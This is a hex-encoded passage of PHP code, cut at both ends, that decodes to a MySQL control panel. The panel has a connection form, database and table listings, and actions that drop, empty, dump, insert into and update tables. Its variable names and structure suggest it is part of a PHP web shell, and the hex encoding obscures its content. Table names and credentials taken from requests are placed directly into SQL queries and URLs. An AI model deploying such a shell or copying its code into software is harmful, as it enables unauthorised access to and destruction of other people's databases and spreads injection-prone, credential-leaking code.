29 2E 22 40 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 20 28 70 61 73 73 77 6F 72 64 20 2D 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 5C 22 29 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 69 66 20 28 63 6F 75 6E 74 28 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 29 20 3E 20 30 29 20 7B 66 6F 72 65 61 63 68 28 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 20 61 73 20 24 69 74 65 6D 29 20 7B 65 63 68 6F 20 22 5B 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 69 74 65 6D 5B 31 5D 2E 22 5C 22 3E 3C 62 3E 22 2E 24 69 74 65 6D 5B 30 5D 2E 22 3C 2F 62 3E 3C 2F 61 3E 20 5D 20 22 3B 7D 7D 0A 20 20 65 63 68 6F 20 22 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 7D 0A 20 65 63 68 6F 20 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 22 3B 0A 20 69 66 20 28 21 24 73 71 6C 5F 73 6F 63 6B 29 20 7B 3F 3E 3C 74 64 20 77 69 64 74 68 3D 22 32 38 25 22 20 68 65 69 67 68 74 3D 22 31 30 30 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 66 6F 6E 74 20 73 69 7A 65 3D 22 35 22 3E 20 69 20 3C 2F 66 6F 6E 74 3E 3C 2F 63 65 6E 74 65 72 3E 3C 6C 69 3E 49 66 20 6C 6F 67 69 6E 20 69 73 20 6E 75 6C 6C 2C 20 6C 6F 67 69 6E 20 69 73 20 6F 77 6E 65 72 20 6F 66 20 70 72 6F 63 65 73 73 2E 3C 6C 69 3E 49 66 20 68 6F 73 74 20 69 73 20 6E 75 6C 6C 2C 20 68 6F 73 74 20 69 73 20 6C 6F 63 61 6C 68 6F 73 74 3C 2F 62 3E 3C 6C 69 3E 49 66 20 70 6F 72 74 20 69 73 20 6E 75 6C 6C 2C 20 70 6F 72 74 20 69 73 20 33 33 30 36 20 28 64 65 66 61 75 6C 74 29 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 39 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 54 41 42 4C 45 20 68 65 69 67 68 74 3D 31 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 30 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 6F 72 64 65 72 3D 30 3E 3C 74 72 3E 3C 74 64 3E 26 6E 62 73 70 3B 3C 62 3E 50 6C 65 61 73 65 2C 20 66 69 6C 6C 20 74 68 65 20 66 6F 72 6D 3A 3C 2F 62 3E 3C 74 61 62 6C 65 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 55 73 65 72 6E 61 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 50 61 73 73 77 6F 72 64 3C 2F 62 3E 26 6E 62 73 70 3B 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 44 61 74 61 62 61 73 65 3C 2F 62 3E 26 6E 62 73 70 3B 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 20 6D 65 74 68 6F 64 3D 22 50 4F 53 54 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 61 63 74 22 20 76 61 6C 75 65 3D 22 73 71 6C 22 3E 3C 74 72 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6C 6F 67 69 6E 22 20 76 61 6C 75 65 3D 22 72 6F 6F 74 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 70 61 73 73 77 6F 72 64 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 61 73 73 77 64 22 20 76 61 6C 75 65 3D 22 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 64 62 22 20 76 61 6C 75 65 3D 22 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 48 6F 73 74 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 50 4F 52 54 3C 2F 62 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 20 61 6C 69 67 6E 3D 72 69 67 68 74 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 73 65 72 76 65 72 22 20 76 61 6C 75 65 3D 22 6C 6F 63 61 6C 68 6F 73 74 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 6F 72 74 22 20 76 61 6C 75 65 3D 22 33 33 30 36 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 22 20 73 69 7A 65 3D 22 33 22 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 43 6F 6E 6E 65 63 74 22 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 61 62 6C 65 3E 3C 2F 74 64 3E 3C 3F 70 68 70 20 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 2F 2F 53 74 61 72 74 20 6C 65 66 74 20 70 61 6E 65 6C 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 64 62 29 29 0A 20 20 7B 0A 20 20 20 3F 3E 3C 74 64 20 77 69 64 74 68 3D 22 32 35 25 22 20 68 65 69 67 68 74 3D 22 31 30 30 25 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 61 20 68 72 65 66 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 26 73 71 6C 5F 6C 6F 67 69 6E 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 2E 22 26 73 71 6C 5F 70 61 73 73 77 64 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 26 73 71 6C 5F 73 65 72 76 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 26 73 71 6C 5F 70 6F 72 74 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 26 22 3B 20 3F 3E 22 3E 3C 62 3E 48 6F 6D 65 3C 2F 62 3E 3C 2F 61 3E 3C 68 72 20 73 69 7A 65 3D 22 31 22 20 6E 6F 73 68 61 64 65 3E 3C 3F 70 68 70 0A 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 6C 69 73 74 5F 74 61 62 6C 65 73 28 24 73 71 6C 5F 64 62 29 3B 0A 20 20 20 69 66 20 28 21 24 72 65 73 75 6C 74 29 20 7B 65 63 68 6F 20 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 2D 2D 2D 5B 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 26 5C 22 3E 3C 62 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 2E 22 3C 2F 62 3E 3C 2F 61 3E 20 5D 2D 2D 2D 3C 62 72 3E 22 3B 0A 20 20 20 20 24 63 20 3D 20 30 3B 0A 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 29 29 20 7B 24 63 6F 75 6E 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 20 28 22 53 45 4C 45 43 54 20 43 4F 55 4E 54 28 2A 29 20 46 52 4F 4D 20 22 2E 24 72 6F 77 5B 30 5D 29 3B 20 24 63 6F 75 6E 74 5F 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 63 6F 75 6E 74 29 3B 20 65 63 68 6F 20 22 3C 62 3E C2 BB 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 64 62 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 2E 22 26 73 71 6C 5F 74 62 6C 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 72 6F 77 5B 30 5D 29 2E 22 5C 22 3E 3C 62 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 72 6F 77 5B 30 5D 29 2E 22 3C 2F 62 3E 3C 2F 61 3E 20 28 22 2E 24 63 6F 75 6E 74 5F 72 6F 77 5B 30 5D 2E 22 29 3C 2F 62 72 3E 3C 2F 62 3E 22 3B 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 63 6F 75 6E 74 29 3B 20 24 63 2B 2B 3B 7D 0A 20 20 20 20 69 66 20 28 21 24 63 29 20 7B 65 63 68 6F 20 22 4E 6F 20 74 61 62 6C 65 73 20 66 6F 75 6E 64 20 69 6E 20 64 61 74 61 62 61 73 65 2E 22 3B 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 3F 3E 3C 74 64 20 77 69 64 74 68 3D 22 31 22 20 68 65 69 67 68 74 3D 22 31 30 30 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 61 20 68 72 65 66 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 71 6C 5F 73 75 72 6C 3B 20 3F 3E 22 3E 3C 62 3E 48 6F 6D 65 3C 2F 62 3E 3C 2F 61 3E 3C 68 72 20 73 69 7A 65 3D 22 31 22 20 6E 6F 73 68 61 64 65 3E 3C 3F 70 68 70 0A 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 6C 69 73 74 5F 64 62 73 28 24 73 71 6C 5F 73 6F 63 6B 29 3B 0A 20 20 20 69 66 20 28 21 24 72 65 73 75 6C 74 29 20 7B 65 63 68 6F 20 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 3F 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 61 63 74 22 20 76 61 6C 75 65 3D 22 73 71 6C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6C 6F 67 69 6E 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 61 73 73 77 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 73 65 72 76 65 72 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 6F 72 74 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 3B 20 3F 3E 22 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 22 73 71 6C 5F 64 62 22 3E 3C 3F 70 68 70 0A 20 20 20 20 24 63 20 3D 20 30 3B 0A 20 20 20 20 24 64 62 73 20 3D 20 22 22 3B 0A 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 72 6F 77 28 24 72 65 73 75 6C 74 29 29 20 7B 24 64 62 73 20 2E 3D 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 22 2E 24 72 6F 77 5B 30 5D 2E 22 5C 22 22 3B 20 69 66 20 28 24 73 71 6C 5F 64 62 20 3D 3D 20 24 72 6F 77 5B 30 5D 29 20 7B 24 64 62 73 20 2E 3D 20 22 20 73 65 6C 65 63 74 65 64 22 3B 7D 20 24 64 62 73 20 2E 3D 20 22 3E 22 2E 24 72 6F 77 5B 30 5D 2E 22 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 20 24 63 2B 2B 3B 7D 0A 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 5C 22 3E 44 61 74 61 62 61 73 65 73 20 28 22 2E 24 63 2E 22 29 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 65 63 68 6F 20 24 64 62 73 3B 0A 20 20 20 7D 0A 20 20 20 3F 3E 3C 2F 73 65 6C 65 63 74 3E 3C 68 72 20 73 69 7A 65 3D 22 31 22 20 6E 6F 73 68 61 64 65 3E 50 6C 65 61 73 65 2C 20 73 65 6C 65 63 74 20 64 61 74 61 62 61 73 65 3C 68 72 20 73 69 7A 65 3D 22 31 22 20 6E 6F 73 68 61 64 65 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 47 6F 22 3E 3C 2F 66 6F 72 6D 3E 3C 3F 70 68 70 0A 20 20 7D 0A 20 20 2F 2F 45 6E 64 20 6C 65 66 74 20 70 61 6E 65 6C 0A 20 20 65 63 68 6F 20 22 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 5C 22 20 76 61 6C 69 67 6E 3D 5C 22 74 6F 70 5C 22 3E 22 3B 0A 20 20 2F 2F 53 74 61 72 74 20 63 65 6E 74 65 72 20 70 61 6E 65 6C 0A 20 20 24 64 69 70 6C 61 79 20 3D 20 74 72 75 65 3B 0A 20 20 69 66 20 28 24 73 71 6C 5F 64 62 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 63 29 29 20 7B 24 63 20 3D 20 30 3B 7D 0A 20 20 20 69 66 20 28 24 63 20 3D 3D 20 30 29 20 7B 24 63 20 3D 20 22 6E 6F 22 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 54 68 65 72 65 20 61 72 65 20 22 2E 24 63 2E 22 20 74 61 62 6C 65 28 73 29 20 69 6E 20 74 68 69 73 20 44 42 20 28 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 2E 22 29 2E 3C 62 72 3E 22 3B 0A 20 20 20 69 66 20 28 63 6F 75 6E 74 28 24 64 62 71 75 69 63 6B 6C 61 75 6E 63 68 29 20 3E 20 30 29 20 7B 66 6F 72 65 61 63 68 28 24 64 62 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 20 61 73 20 24 69 74 65 6D 29 20 7B 65 63 68 6F 20 22 5B 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 69 74 65 6D 5B 31 5D 2E 22 5C 22 3E 22 2E 24 69 74 65 6D 5B 30 5D 2E 22 3C 2F 61 3E 20 5D 20 22 3B 7D 7D 0A 20 20 20 65 63 68 6F 20 22 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 20 20 24 61 63 74 73 20 3D 20 61 72 72 61 79 28 22 22 2C 22 64 75 6D 70 22 29 3B 0A 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 74 62 6C 64 72 6F 70 22 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 44 52 4F 50 20 54 41 42 4C 45 22 3B 20 66 6F 72 65 61 63 68 28 24 62 6F 78 74 62 6C 20 61 73 20 24 76 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 5C 6E 60 22 2E 24 76 2E 22 60 20 2C 22 3B 7D 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 73 75 62 73 74 72 28 24 73 71 6C 5F 71 75 65 72 79 2C 30 2C 2D 31 29 2E 22 3B 22 3B 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 74 62 6C 65 6D 70 74 79 22 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 22 3B 20 66 6F 72 65 61 63 68 28 24 62 6F 78 74 62 6C 20 61 73 20 24 76 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 44 45 4C 45 54 45 20 46 52 4F 4D 20 60 22 2E 24 76 2E 22 60 20 5C 6E 22 3B 7D 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 74 62 6C 64 75 6D 70 22 29 20 7B 69 66 20 28 63 6F 75 6E 74 28 24 62 6F 78 74 62 6C 29 20 3E 20 30 29 20 7B 24 64 6D 70 74 62 6C 73 20 3D 20 24 62 6F 78 74 62 6C 3B 7D 20 65 6C 73 65 69 66 28 24 74 68 69 73 74 62 6C 29 20 7B 24 64 6D 70 74 62 6C 73 20 3D 20 61 72 72 61 79 28 24 73 71 6C 5F 74 62 6C 29 3B 7D 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 64 75 6D 70 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 74 62 6C 63 68 65 63 6B 22 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 43 48 45 43 4B 20 54 41 42 4C 45 22 3B 20 66 6F 72 65 61 63 68 28 24 62 6F 78 74 62 6C 20 61 73 20 24 76 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 5C 6E 60 22 2E 24 76 2E 22 60 20 2C 22 3B 7D 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 73 75 62 73 74 72 28 24 73 71 6C 5F 71 75 65 72 79 2C 30 2C 2D 31 29 2E 22 3B 22 3B 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 74 62 6C 6F 70 74 69 6D 69 7A 65 22 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 4F 50 54 49 4D 49 5A 45 20 54 41 42 4C 45 22 3B 20 66 6F 72 65 61 63 68 28 24 62 6F 78 74 62 6C 20 61 73 20 24 76 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 5C 6E 60 22 2E 24 76 2E 22 60 20 2C 22 3B 7D 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 73 75 62 73 74 72 28 24 73 71 6C 5F 71 75 65 72 79 2C 30 2C 2D 31 29 2E 22 3B 22 3B 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 74 62 6C 72 65 70 61 69 72 22 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 52 45 50 41 49 52 20 54 41 42 4C 45 22 3B 20 66 6F 72 65 61 63 68 28 24 62 6F 78 74 62 6C 20 61 73 20 24 76 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 5C 6E 60 22 2E 24 76 2E 22 60 20 2C 22 3B 7D 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 73 75 62 73 74 72 28 24 73 71 6C 5F 71 75 65 72 79 2C 30 2C 2D 31 29 2E 22 3B 22 3B 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 74 62 6C 61 6E 61 6C 79 7A 65 22 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 41 4E 41 4C 59 5A 45 20 54 41 42 4C 45 22 3B 20 66 6F 72 65 61 63 68 28 24 62 6F 78 74 62 6C 20 61 73 20 24 76 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 5C 6E 60 22 2E 24 76 2E 22 60 20 2C 22 3B 7D 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 73 75 62 73 74 72 28 24 73 71 6C 5F 71 75 65 72 79 2C 30 2C 2D 31 29 2E 22 3B 22 3B 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 64 65 6C 65 74 65 72 6F 77 22 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 22 3B 20 69 66 20 28 21 65 6D 70 74 79 28 24 62 6F 78 72 6F 77 5F 61 6C 6C 29 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 44 45 4C 45 54 45 20 2A 20 46 52 4F 4D 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 3B 22 3B 7D 20 65 6C 73 65 20 7B 66 6F 72 65 61 63 68 28 24 62 6F 78 72 6F 77 20 61 73 20 24 76 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 44 45 4C 45 54 45 20 2A 20 46 52 4F 4D 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 20 57 48 45 52 45 22 2E 24 76 2E 22 20 4C 49 4D 49 54 20 31 3B 5C 6E 22 3B 7D 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 73 75 62 73 74 72 28 24 73 71 6C 5F 71 75 65 72 79 2C 30 2C 2D 31 29 3B 7D 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 74 62 6C 5F 61 63 74 20 3D 3D 20 22 69 6E 73 65 72 74 22 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 72 61 64 69 6F 20 3D 3D 20 31 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 6B 65 79 73 20 3D 20 22 22 3B 0A 20 20 20 20 20 24 61 6B 65 79 73 20 3D 20 61 72 72 61 79 5F 6B 65 79 73 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 29 3B 0A 20 20 20 20 20 66 6F 72 65 61 63 68 20 28 24 61 6B 65 79 73 20 61 73 20 24 76 29 20 7B 24 6B 65 79 73 20 2E 3D 20 22 60 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 76 29 2E 22 60 2C 20 22 3B 7D 0A 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 6B 65 79 73 29 29 20 7B 24 6B 65 79 73 20 3D 20 73 75 62 73 74 72 28 24 6B 65 79 73 2C 30 2C 73 74 72 6C 65 6E 28 24 6B 65 79 73 29 2D 32 29 3B 7D 0A 20 20 20 20 20 24 76 61 6C 75 65 73 20 3D 20 22 22 3B 0A 20 20 20 20 20 24 69 20 3D 20 30 3B 0A 20 20 20 20 20 66 6F 72 65 61 63 68 20 28 61 72 72 61 79 5F 76 61 6C 75 65 73 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 29 20 61 73 20 24 76 29 20 7B 69 66 20 28 24 66 75 6E 63 74 20 3D 20 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 66 75 6E 63 74 73 5B 24 61 6B 65 79 73 5B 24 69 5D 5D 29 20 7B 24 76 61 6C 75 65 73 20 2E 3D 20 24 66 75 6E 63 74 2E 22 20 28 22 3B 7D 20 24 76 61 6C 75 65 73 20 2E 3D 20 22 27 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 76 29 2E 22 27 22 3B 20 69 66 20 28 24 66 75 6E 63 74 29 20 7B 24 76 61 6C 75 65 73 20 2E 3D 20 22 29 22 3B 7D 20 24 76 61 6C 75 65 73 20 2E 3D 20 22 2C 20 22 3B 20 24 69 2B 2B 3B 7D 0A 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 76 61 6C 75 65 73 29 29 20 7B 24 76 61 6C 75 65 73 20 3D 20 73 75 62 73 74 72 28 24 76 61 6C 75 65 73 2C 30 2C 73 74 72 6C 65 6E 28 24 76 61 6C 75 65 73 29 2D 32 29 3B 7D 0A 20 20 20 20 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 49 4E 53 45 52 54 20 49 4E 54 4F 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 20 28 20 22 2E 24 6B 65 79 73 2E 22 20 29 20 56 41 4C 55 45 53 20 28 20 22 2E 24 76 61 6C 75 65 73 2E 22 20 29 3B 22 3B 0A 20 20 20 20 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 0A 20 20 20 20 20 24 73 71 6C 5F 74 62 6C 5F 61 63 74 20 3D 20 22 62 72 6F 77 73 65 22 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 72 61 64 69 6F 20 3D 3D 20 32 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 73 65 74 20 3D 20 6D 79 73 71 6C 5F 62 75 69 6C 64 77 68 65 72 65 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 2C 22 2C 20 22 2C 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 66 75 6E 63 74 73 29 3B 0A 20 20 20 20 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 55 50 44 41 54 45 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 20 53 45 54 20 22 2E 24 73 65 74 2E 22 20 57 48 45 52 45 20 22 2E 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 2E 22 20 4C 49 4D 49 54 20 31 3B 22 3B 0A 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 73 71 6C 5F 71 75 65 72 79 29 20 6F 72 20 70 72 69 6E 74 28 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 29 3B 0A 20 